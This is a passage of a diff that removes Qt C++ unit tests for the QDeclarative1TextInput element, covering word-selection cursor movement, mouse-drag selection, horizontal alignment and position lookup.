9 << true; - QTest::newRow("") - << standard[0] << 38 << 42 << QDeclarative1TextInput::SelectWords << 36 << 44 << true; - QTest::newRow("|words") - << standard[0] << 23 << 29 << QDeclarative1TextInput::SelectWords << 20 << 31 << true; - QTest::newRow("<()>the|words") - << standard[0] << 0 << 0 << QDeclarative1TextInput::SelectWords << 0 << 0 << true; - QTest::newRow("dog<()>|words") - << standard[0] << 44 << 44 << QDeclarative1TextInput::SelectWords << 44 << 44 << true; - QTest::newRow("jum<()>ped|words") - << standard[0] << 23 << 23 << QDeclarative1TextInput::SelectWords << 23 << 23 << true; - - QTest::newRow("Hello<(,)> |words") - << standard[2] << 5 << 6 << QDeclarative1TextInput::SelectWords << 5 << 6 << true; - QTest::newRow("Hello<(, )>world|words,ltr") - << standard[2] << 5 << 7 << QDeclarative1TextInput::SelectWords << 5 << 7 << false; - QTest::newRow("Hello<(, )world>|words,rtl") - << standard[2] << 7 << 5 << QDeclarative1TextInput::SelectWords << 5 << 12 << false; - QTest::newRow("world|words,ltr") - << standard[2] << 3 << 7 << QDeclarative1TextInput::SelectWords << 0 << 7 << false; - QTest::newRow("|words,rtl") - << standard[2] << 7 << 3 << QDeclarative1TextInput::SelectWords << 0 << 12 << false; - QTest::newRow(",|words") - << standard[2] << 3 << 5 << QDeclarative1TextInput::SelectWords << 0 << 5 << true; - QTest::newRow("Hello<()>,|words") - << standard[2] << 5 << 5 << QDeclarative1TextInput::SelectWords << 5 << 5 << true; - QTest::newRow("Hello,<()>|words") - << standard[2] << 6 << 6 << QDeclarative1TextInput::SelectWords << 6 << 6 << true; - QTest::newRow("Hello<,( )>world|words,ltr") - << standard[2] << 6 << 7 << QDeclarative1TextInput::SelectWords << 5 << 7 << false; - QTest::newRow("Hello,<( )world>|words,rtl") - << standard[2] << 7 << 6 << QDeclarative1TextInput::SelectWords << 6 << 12 << false; - QTest::newRow("Hello<,( world)>|words,ltr") - << standard[2] << 6 << 12 << QDeclarative1TextInput::SelectWords << 5 << 12 << false; - QTest::newRow("Hello,<( world)>|words,rtl") - << standard[2] << 12 << 6 << QDeclarative1TextInput::SelectWords << 6 << 12 << false; - QTest::newRow("Hello<,( world!)>|words,ltr") - << standard[2] << 6 << 13 << QDeclarative1TextInput::SelectWords << 5 << 13 << false; - QTest::newRow("Hello,<( world!)>|words,rtl") - << standard[2] << 13 << 6 << QDeclarative1TextInput::SelectWords << 6 << 13 << false; - QTest::newRow("Hello<(, world!)>|words") - << standard[2] << 5 << 13 << QDeclarative1TextInput::SelectWords << 5 << 13 << true; - QTest::newRow("world<(!)>|words") - << standard[2] << 12 << 13 << QDeclarative1TextInput::SelectWords << 12 << 13 << true; - QTest::newRow("world!<()>)|words") - << standard[2] << 13 << 13 << QDeclarative1TextInput::SelectWords << 13 << 13 << true; - QTest::newRow("world<()>!)|words") - << standard[2] << 12 << 12 << QDeclarative1TextInput::SelectWords << 12 << 12 << true; - - QTest::newRow("<(,)>olleH |words") - << standard[3] << 7 << 8 << QDeclarative1TextInput::SelectWords << 7 << 8 << true; - QTest::newRow("olleH|words,ltr") - << standard[3] << 6 << 8 << QDeclarative1TextInput::SelectWords << 1 << 8 << false; - QTest::newRow("dlrow<( ,)>olleH|words,rtl") - << standard[3] << 8 << 6 << QDeclarative1TextInput::SelectWords << 6 << 8 << false; - QTest::newRow("|words,ltr") - << standard[3] << 6 << 10 << QDeclarative1TextInput::SelectWords << 1 << 13 << false; - QTest::newRow("dlrow<( ,ol)leH>|words,rtl") - << standard[3] << 10 << 6 << QDeclarative1TextInput::SelectWords << 6 << 13 << false; - QTest::newRow(",<(ol)leH>,|words") - << standard[3] << 8 << 10 << QDeclarative1TextInput::SelectWords << 8 << 13 << true; - QTest::newRow(",<()>olleH|words") - << standard[3] << 8 << 8 << QDeclarative1TextInput::SelectWords << 8 << 8 << true; - QTest::newRow("<()>,olleH|words") - << standard[3] << 7 << 7 << QDeclarative1TextInput::SelectWords << 7 << 7 << true; - QTest::newRow(",olleH|words,ltr") - << standard[3] << 6 << 7 << QDeclarative1TextInput::SelectWords << 1 << 7 << false; - QTest::newRow("dlrow<( ),>olleH|words,rtl") - << standard[3] << 7 << 6 << QDeclarative1TextInput::SelectWords << 6 << 8 << false; - QTest::newRow("<(dlrow )>,olleH|words,ltr") - << standard[3] << 1 << 7 << QDeclarative1TextInput::SelectWords << 1 << 7 << false; - QTest::newRow("<(dlrow ),>olleH|words,rtl") - << standard[3] << 7 << 1 << QDeclarative1TextInput::SelectWords << 1 << 8 << false; - QTest::newRow("<(!dlrow )>,olleH|words,ltr") - << standard[3] << 0 << 7 << QDeclarative1TextInput::SelectWords << 0 << 7 << false; - QTest::newRow("<(!dlrow ),>olleH|words,rtl") - << standard[3] << 7 << 0 << QDeclarative1TextInput::SelectWords << 0 << 8 << false; - QTest::newRow("(!dlrow ,)olleH|words") - << standard[3] << 0 << 8 << QDeclarative1TextInput::SelectWords << 0 << 8 << true; - QTest::newRow("<(!)>dlrow|words") - << standard[3] << 0 << 1 << QDeclarative1TextInput::SelectWords << 0 << 1 << true; - QTest::newRow("<()>!dlrow|words") - << standard[3] << 0 << 0 << QDeclarative1TextInput::SelectWords << 0 << 0 << true; - QTest::newRow("!<()>dlrow|words") - << standard[3] << 1 << 1 << QDeclarative1TextInput::SelectWords << 1 << 1 << true; - - QTest::newRow(" text |words") - << standard[4] << 1 << 4 << QDeclarative1TextInput::SelectWords << 1 << 7 << true; - QTest::newRow(" spacey |words") - << standard[4] << 11 << 13 << QDeclarative1TextInput::SelectWords << 10 << 14 << true; - QTest::newRow("<( )>spacey text |words|ltr") - << standard[4] << 0 << 1 << QDeclarative1TextInput::SelectWords << 0 << 1 << false; - QTest::newRow("<( )spacey> text |words|rtl") - << standard[4] << 1 << 0 << QDeclarative1TextInput::SelectWords << 0 << 7 << false; - QTest::newRow("spacey |words|ltr") - << standard[4] << 14 << 15 << QDeclarative1TextInput::SelectWords << 10 << 15 << false; - QTest::newRow("spacey text<( )>|words|rtl") - << standard[4] << 15 << 14 << QDeclarative1TextInput::SelectWords << 14 << 15 << false; - QTest::newRow("<()> spacey text |words") - << standard[4] << 0 << 0 << QDeclarative1TextInput::SelectWords << 0 << 0 << false; - QTest::newRow(" spacey text <()>|words") - << standard[4] << 15 << 15 << QDeclarative1TextInput::SelectWords << 15 << 15 << false; -} - -void tst_qdeclarativetextinput::moveCursorSelection() -{ - QFETCH(QString, testStr); - QFETCH(int, cursorPosition); - QFETCH(int, movePosition); - QFETCH(QDeclarative1TextInput::SelectionMode, mode); - QFETCH(int, selectionStart); - QFETCH(int, selectionEnd); - QFETCH(bool, reversible); - - QString componentStr = "import QtQuick 1.1\nTextInput { text: \""+ testStr +"\"; }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - QVERIFY(textinputObject != 0); - - textinputObject->setCursorPosition(cursorPosition); - textinputObject->moveCursorSelection(movePosition, mode); - - QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart)); - QCOMPARE(textinputObject->selectionStart(), selectionStart); - QCOMPARE(textinputObject->selectionEnd(), selectionEnd); - - if (reversible) { - textinputObject->setCursorPosition(movePosition); - textinputObject->moveCursorSelection(cursorPosition, mode); - - QCOMPARE(textinputObject->selectedText(), testStr.mid(selectionStart, selectionEnd - selectionStart)); - QCOMPARE(textinputObject->selectionStart(), selectionStart); - QCOMPARE(textinputObject->selectionEnd(), selectionEnd); - } - - delete textinputObject; -} - -void tst_qdeclarativetextinput::moveCursorSelectionSequence_data() -{ - QTest::addColumn("testStr"); - QTest::addColumn("cursorPosition"); - QTest::addColumn("movePosition1"); - QTest::addColumn("movePosition2"); - QTest::addColumn("selection1Start"); - QTest::addColumn("selection1End"); - QTest::addColumn("selection2Start"); - QTest::addColumn("selection2End"); - - // () contains the text selected by the cursor. - // <> contains the actual selection. - // ^ is the revised cursor position. - // {} contains the revised selection. - - QTest::newRow("the { f^ox} jumped|ltr") - << standard[0] - << 9 << 13 << 17 - << 4 << 15 - << 4 << 19; - QTest::newRow("the quick<( {bro)wn> f^ox} jumped|rtl") - << standard[0] - << 13 << 9 << 17 - << 9 << 15 - << 10 << 19; - QTest::newRow("the { ^}fox jumped|ltr") - << standard[0] - << 9 << 13 << 16 - << 4 << 15 - << 4 << 16; - QTest::newRow("the quick<( {bro)wn> ^}fox jumped|rtl") - << standard[0] - << 13 << 9 << 16 - << 9 << 15 - << 10 << 16; - QTest::newRow("the {} fox jumped|ltr") - << standard[0] - << 9 << 13 << 15 - << 4 << 15 - << 4 << 15; - QTest::newRow("the quick<( {bro)wn^>} f^ox jumped|rtl") - << standard[0] - << 13 << 9 << 15 - << 9 << 15 - << 10 << 15; - QTest::newRow("the { fox|ltr") - << standard[0] - << 9 << 13 << 10 - << 4 << 15 - << 4 << 10; - QTest::newRow("the quick<( {^bro)wn>} fox|rtl") - << standard[0] - << 13 << 9 << 10 - << 9 << 15 - << 10 << 15; - QTest::newRow("the { fox|ltr") - << standard[0] - << 9 << 13 << 9 - << 4 << 15 - << 4 << 9; - QTest::newRow("the quick{<(^ bro)wn>} fox|rtl") - << standard[0] - << 13 << 9 << 9 - << 9 << 15 - << 9 << 15; - QTest::newRow("the { fox|ltr") - << standard[0] - << 9 << 13 << 7 - << 4 << 15 - << 4 << 9; - QTest::newRow("the { fox|rtl") - << standard[0] - << 13 << 9 << 7 - << 9 << 15 - << 4 << 15; - QTest::newRow("the {<^quick}( bro)wn> fox|ltr") - << standard[0] - << 9 << 13 << 4 - << 4 << 15 - << 4 << 9; - QTest::newRow("the {<^quick}( bro)wn> fox|rtl") - << standard[0] - << 13 << 9 << 4 - << 9 << 15 - << 4 << 15; - QTest::newRow("the{^ fox|ltr") - << standard[0] - << 9 << 13 << 3 - << 4 << 15 - << 3 << 9; - QTest::newRow("the{^ fox|rtl") - << standard[0] - << 13 << 9 << 3 - << 9 << 15 - << 3 << 15; - QTest::newRow("{t^he fox|ltr") - << standard[0] - << 9 << 13 << 1 - << 4 << 15 - << 0 << 9; - QTest::newRow("{t^he fox|rtl") - << standard[0] - << 13 << 9 << 1 - << 9 << 15 - << 0 << 15; - - QTest::newRow("{, w^orld}!|ltr") - << standard[2] - << 2 << 4 << 8 - << 0 << 5 - << 0 << 12; - QTest::newRow("{, w^orld}!|rtl") - << standard[2] - << 4 << 2 << 8 - << 0 << 5 - << 0 << 12; - - QTest::newRow("!{dlro^w ,}|ltr") - << standard[3] - << 9 << 11 << 5 - << 8 << 13 - << 1 << 13; - QTest::newRow("!{dlro^w ,}|rtl") - << standard[3] - << 11 << 9 << 5 - << 8 << 13 - << 1 << 13; - - QTest::newRow("{<(^} sp)acey> text |ltr") - << standard[4] - << 0 << 3 << 0 - << 0 << 7 - << 0 << 0; - QTest::newRow("{<( ^}sp)acey> text |ltr") - << standard[4] - << 0 << 3 << 1 - << 0 << 7 - << 0 << 1; - QTest::newRow("<( {s^p)acey>} text |rtl") - << standard[4] - << 3 << 0 << 2 - << 0 << 7 - << 1 << 7; - QTest::newRow("<( {^sp)acey>} text |rtl") - << standard[4] - << 3 << 0 << 1 - << 0 << 7 - << 1 << 7; - - QTest::newRow(" spacey }|rtl") - << standard[4] - << 15 << 12 << 15 - << 10 << 15 - << 15 << 15; - QTest::newRow(" spacey }|rtl") - << standard[4] - << 15 << 12 << 14 - << 10 << 15 - << 14 << 15; - QTest::newRow(" spacey {|ltr") - << standard[4] - << 12 << 15 << 13 - << 10 << 15 - << 10 << 14; - QTest::newRow(" spacey {|ltr") - << standard[4] - << 12 << 15 << 14 - << 10 << 15 - << 10 << 14; -} - -void tst_qdeclarativetextinput::moveCursorSelectionSequence() -{ - QFETCH(QString, testStr); - QFETCH(int, cursorPosition); - QFETCH(int, movePosition1); - QFETCH(int, movePosition2); - QFETCH(int, selection1Start); - QFETCH(int, selection1End); - QFETCH(int, selection2Start); - QFETCH(int, selection2End); - - QString componentStr = "import QtQuick 1.1\nTextInput { text: \""+ testStr +"\"; }"; - QDeclarativeComponent textinputComponent(&engine); - textinputComponent.setData(componentStr.toLatin1(), QUrl()); - QDeclarative1TextInput *textinputObject = qobject_cast(textinputComponent.create()); - QVERIFY(textinputObject != 0); - - textinputObject->setCursorPosition(cursorPosition); - - textinputObject->moveCursorSelection(movePosition1, QDeclarative1TextInput::SelectWords); - QCOMPARE(textinputObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start)); - QCOMPARE(textinputObject->selectionStart(), selection1Start); - QCOMPARE(textinputObject->selectionEnd(), selection1End); - - textinputObject->moveCursorSelection(movePosition2, QDeclarative1TextInput::SelectWords); - QCOMPARE(textinputObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start)); - QCOMPARE(textinputObject->selectionStart(), selection2Start); - QCOMPARE(textinputObject->selectionEnd(), selection2End); - - delete textinputObject; -} - -void tst_qdeclarativetextinput::mouseSelection_data() -{ - QTest::addColumn("qmlfile"); - QTest::addColumn("expectSelection"); - - // import installed - QTest::newRow("on") << SRCDIR "/data/mouseselection_true.qml" << true; - QTest::newRow("off") << SRCDIR "/data/mouseselection_false.qml" << false; - QTest::newRow("default") << SRCDIR "/data/mouseselection_default.qml" << false; - QTest::newRow("on word selection") << SRCDIR "/data/mouseselection_true_words.qml" << true; - QTest::newRow("off word selection") << SRCDIR "/data/mouseselection_false_words.qml" << false; - QTest::newRow("on read only") << SRCDIR "/data/mouseselection_true_readonly.qml" << true; - QTest::newRow("off read only") << SRCDIR "/data/mouseselection_false_readonly.qml" << false; -} - -void tst_qdeclarativetextinput::mouseSelection() -{ - QFETCH(QString, qmlfile); - QFETCH(bool, expectSelection); - - QDeclarativeView *canvas = createView(qmlfile); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextInput *textInputObject = qobject_cast(canvas->rootObject()); - QVERIFY(textInputObject != 0); - - // press-and-drag-and-release from x1 to x2 - int x1 = 10; - int x2 = 70; - int y = textInputObject->height()/2; - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); - //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); - QString str = textInputObject->selectedText(); - if (expectSelection) - QVERIFY(str.length() > 3); // don't reallly care *what* was selected (and it's too sensitive to platform) - else - QVERIFY(str.isEmpty()); - - // Clicking and shift to clicking between the same points should select the same text. - textInputObject->setCursorPosition(0); - QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::NoModifier, canvas->mapFromScene(QPoint(x1,y))); - QTest::mouseClick(canvas->viewport(), Qt::LeftButton, Qt::ShiftModifier, canvas->mapFromScene(QPoint(x2,y))); - QCOMPARE(textInputObject->selectedText(), str); - - delete canvas; -} - -void tst_qdeclarativetextinput::deferEnableSelectByMouse_data() -{ - QTest::addColumn("qmlfile"); - - QTest::newRow("writable") << SRCDIR "/data/mouseselection_false.qml"; - QTest::newRow("read only") << SRCDIR "/data/mouseselection_false_readonly.qml"; -} - -void tst_qdeclarativetextinput::deferEnableSelectByMouse() -{ - // Verify text isn't selected if selectByMouse is enabled after the mouse button has been pressed. - QFETCH(QString, qmlfile); - - QDeclarativeView *canvas = createView(qmlfile); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextInput *textInputObject = qobject_cast(canvas->rootObject()); - QVERIFY(textInputObject != 0); - - // press-and-drag-and-release from x1 to x2 - int x1 = 10; - int x2 = 70; - int y = textInputObject->height()/2; - - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); - textInputObject->setSelectByMouse(true); - //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); - QVERIFY(textInputObject->selectedText().isEmpty()); - - delete canvas; -} - -void tst_qdeclarativetextinput::deferDisableSelectByMouse_data() -{ - QTest::addColumn("qmlfile"); - - QTest::newRow("writable") << SRCDIR "/data/mouseselection_true.qml"; - QTest::newRow("read only") << SRCDIR "/data/mouseselection_true_readonly.qml"; -} - -void tst_qdeclarativetextinput::deferDisableSelectByMouse() -{ - // Verify text isn't selected if selectByMouse is enabled after the mouse button has been pressed. - QFETCH(QString, qmlfile); - - QDeclarativeView *canvas = createView(qmlfile); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextInput *textInputObject = qobject_cast(canvas->rootObject()); - QVERIFY(textInputObject != 0); - - // press-and-drag-and-release from x1 to x2 - int x1 = 10; - int x2 = 70; - int y = textInputObject->height()/2; - - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); - textInputObject->setSelectByMouse(false); - //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); - QVERIFY(textInputObject->selectedText().length() > 3); - - delete canvas; -} - -void tst_qdeclarativetextinput::dragMouseSelection() -{ - QString qmlfile = SRCDIR "/data/mouseselection_true.qml"; - - QDeclarativeView *canvas = createView(qmlfile); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextInput *textInputObject = qobject_cast(canvas->rootObject()); - QVERIFY(textInputObject != 0); - - // press-and-drag-and-release from x1 to x2 - int x1 = 10; - int x2 = 70; - int y = textInputObject->height()/2; - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); - - QString str1 = textInputObject->selectedText(); - QVERIFY(str1.length() > 3); - - // press and drag the current selection. - x1 = 40; - x2 = 100; - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); - { - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - } - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); - QString str2 = textInputObject->selectedText(); - QVERIFY(str2.length() > 3); - - QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved. - delete canvas; -} - -void tst_qdeclarativetextinput::mouseSelectionMode_data() -{ - QTest::addColumn("qmlfile"); - QTest::addColumn("selectWords"); - - // import installed - QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true; - QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false; - QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false; -} - -void tst_qdeclarativetextinput::mouseSelectionMode() -{ - QFETCH(QString, qmlfile); - QFETCH(bool, selectWords); - - QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - - QDeclarativeView *canvas = createView(qmlfile); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - QVERIFY(canvas->rootObject() != 0); - QDeclarative1TextInput *textInputObject = qobject_cast(canvas->rootObject()); - QVERIFY(textInputObject != 0); - - // press-and-drag-and-release from x1 to x2 - int x1 = 10; - int x2 = 70; - int y = textInputObject->height()/2; - QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y))); - //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work - QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier); - QApplication::sendEvent(canvas->viewport(), &mv); - QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y))); - QString str = textInputObject->selectedText(); - if (selectWords) { - QCOMPARE(str, text); - } else { - QVERIFY(str.length() > 3); - QVERIFY(str != text); - } - - delete canvas; -} - -void tst_qdeclarativetextinput::horizontalAlignment_data() -{ - QTest::addColumn("hAlign"); - QTest::addColumn("expectfile"); - - QTest::newRow("L") << int(Qt::AlignLeft) << "halign_left"; - QTest::newRow("R") << int(Qt::AlignRight) << "halign_right"; - QTest::newRow("C") << int(Qt::AlignHCenter) << "halign_center"; -} - -void tst_qdeclarativetextinput::horizontalAlignment() -{ - QFETCH(int, hAlign); - QFETCH(QString, expectfile); - - QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment.qml"); - - canvas->show(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - QObject *ob = canvas->rootObject(); - QVERIFY(ob != 0); - ob->setProperty("horizontalAlignment",hAlign); - QImage actual(canvas->width(), canvas->height(), QImage::Format_RGB32); - actual.fill(qRgb(255,255,255)); - { - QPainter p(&actual); - canvas->render(&p); - } - - expectfile = createExpectedFileIfNotFound(expectfile, actual); - - QImage expect(expectfile); - - QCOMPARE(actual,expect); - - delete canvas; -} - -void tst_qdeclarativetextinput::horizontalAlignment_RightToLeft() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/horizontalAlignment_RightToLeft.qml"); - QDeclarative1TextInput *textInput = canvas->rootObject()->findChild("text"); - QVERIFY(textInput != 0); - canvas->show(); - - const QString rtlText = textInput->text(); - - QDeclarative1TextInputPrivate *textInputPrivate = QDeclarative1TextInputPrivate::get(textInput); - QVERIFY(textInputPrivate != 0); - QVERIFY(-textInputPrivate->hscroll > canvas->width()/2); - - // implicit alignment should follow the reading direction of RTL text - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignRight); - QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign()); - QVERIFY(-textInputPrivate->hscroll > canvas->width()/2); - - // explicitly left aligned - textInput->setHAlign(QDeclarative1TextInput::AlignLeft); - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignLeft); - QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign()); - QVERIFY(-textInputPrivate->hscroll < canvas->width()/2); - - // explicitly right aligned - textInput->setHAlign(QDeclarative1TextInput::AlignRight); - QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign()); - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignRight); - QVERIFY(-textInputPrivate->hscroll > canvas->width()/2); - - // explicitly center aligned - textInput->setHAlign(QDeclarative1TextInput::AlignHCenter); - QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign()); - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignHCenter); - QVERIFY(-textInputPrivate->hscroll < canvas->width()/2); - QVERIFY(-textInputPrivate->hscroll + textInputPrivate->width() > canvas->width()/2); - - // reseted alignment should go back to following the text reading direction - textInput->resetHAlign(); - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignRight); - QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign()); - QVERIFY(-textInputPrivate->hscroll > canvas->width()/2); - - // mirror the text item - QDeclarativeItemPrivate::get(textInput)->setLayoutMirror(true); - - // mirrored implicit alignment should continue to follow the reading direction of the text - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignRight); - QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign()); - QVERIFY(-textInputPrivate->hscroll > canvas->width()/2); - - // explicitly right aligned behaves as left aligned - textInput->setHAlign(QDeclarative1TextInput::AlignRight); - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignRight); - QCOMPARE(textInput->effectiveHAlign(), QDeclarative1TextInput::AlignLeft); - QVERIFY(-textInputPrivate->hscroll < canvas->width()/2); - - // mirrored explicitly left aligned behaves as right aligned - textInput->setHAlign(QDeclarative1TextInput::AlignLeft); - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignLeft); - QCOMPARE(textInput->effectiveHAlign(), QDeclarative1TextInput::AlignRight); - QVERIFY(-textInputPrivate->hscroll > canvas->width()/2); - - // disable mirroring - QDeclarativeItemPrivate::get(textInput)->setLayoutMirror(false); - QCOMPARE(textInput->effectiveHAlign(), textInput->hAlign()); - textInput->resetHAlign(); - - // English text should be implicitly left aligned - textInput->setText("Hello world!"); - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignLeft); - QVERIFY(-textInputPrivate->hscroll < canvas->width()/2); - - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - QTRY_COMPARE(QApplication::activeWindow(), static_cast(canvas)); - - // If there is no commited text, the preedit text should determine the alignment. - textInput->setText(QString()); - { QInputMethodEvent ev(rtlText, QList()); QApplication::sendEvent(canvas, &ev); } - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignRight); - { QInputMethodEvent ev("Hello world!", QList()); QApplication::sendEvent(canvas, &ev); } - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignLeft); - - // Clear pre-edit text. TextInput should maybe do this itself on setText, but that may be - // redundant as an actual input method may take care of it. - { QInputMethodEvent ev; QApplication::sendEvent(canvas, &ev); } - -#ifndef Q_OS_MAC // QTBUG-18040 - // empty text with implicit alignment follows the system locale-based - // keyboard input direction from QInputPanel::inputDirection - textInput->setText(""); - QCOMPARE(textInput->hAlign(), qApp->inputPanel()->inputDirection() == Qt::LeftToRight ? - QDeclarative1TextInput::AlignLeft : QDeclarative1TextInput::AlignRight); - if (qApp->inputPanel()->inputDirection() == Qt::LeftToRight) - QVERIFY(-textInputPrivate->hscroll < canvas->width()/2); - else - QVERIFY(-textInputPrivate->hscroll > canvas->width()/2); - textInput->setHAlign(QDeclarative1TextInput::AlignRight); - QCOMPARE(textInput->hAlign(), QDeclarative1TextInput::AlignRight); - QVERIFY(-textInputPrivate->hscroll > canvas->width()/2); -#endif - - delete canvas; - -#ifndef Q_OS_MAC // QTBUG-18040 - // alignment of TextInput with no text set to it - QString componentStr = "import QtQuick 1.0\nTextInput {}"; - QDeclarativeComponent textComponent(&engine); - textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1TextInput *textObject = qobject_cast(textComponent.create()); - QCOMPARE(textObject->hAlign(), qApp->inputPanel()->inputDirection() == Qt::LeftToRight ? - QDeclarative1TextInput::AlignLeft : QDeclarative1TextInput::AlignRight); - delete textObject; -#endif -} - -void tst_qdeclarativetextinput::positionAt() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/positionAt.qml"); - QVERIFY(canvas->rootObject() != 0); - canvas->show(); - canvas->setFocus(); - QApplication::setActiveWindow(canvas); - QTest::qWaitForWindowShown(canvas); - - QDeclarative1TextInput *textinputObject = qobject_cast(canvas->rootObject()); - QVERIFY(textinputObject != 0); - - // Check autoscrolled... - - int pos = textinputObject->positionAt(textinputObject->width()/2); - - QTextLayout layout(textinputObject->text()); - layout.setFont(textinputObject->font()); - layout.beginLayout(); - QTextLine line = layout.createLine(); - layout.endLayout(); - - int textLeftWidthBegin = qFloor(line.cursorToX(pos - 1)); - int textLeftWidthEnd = qCeil(line.cursorToX(pos + 1)); - int textWidth = floor(line.horizontalAdvance()); - - QVERIFY(textLeftWidthBegin <= textWidth - textinputObject->width() / 2); - QVERIFY(textLeftWidthEnd >= textWidth - textinputObject->width() / 2); - - int x = textinputObject->positionToRectangle(pos + 1).x() - 1; - QCOMPARE(textinputObject->positionAt(x, QDeclarative1TextInput::CursorBetweenCharacters), pos + 1); - QCOMPARE(textinputObject->positionAt(x, QDeclarative1TextInput::CursorOnCharacter), pos); - - // Check without autoscroll... - textinputObject->setAutoScroll(false); - pos = textinputObject->positionAt(textinputObject->width()/2); - - textLeftWidthBegin = qFloor(line.cursorToX(pos - 1)); - textLeftWidthEnd = qCeil(line.cursorToX(pos + 1)); - - QVERIFY(textLeftWidthBegin <= textinputObject->width() / 2); - QVERIFY(textLeftWidthEnd >= textinputObject->width() / 2); - - x = textinputObject->positionToRectangle(pos + 1).x() - 1; - 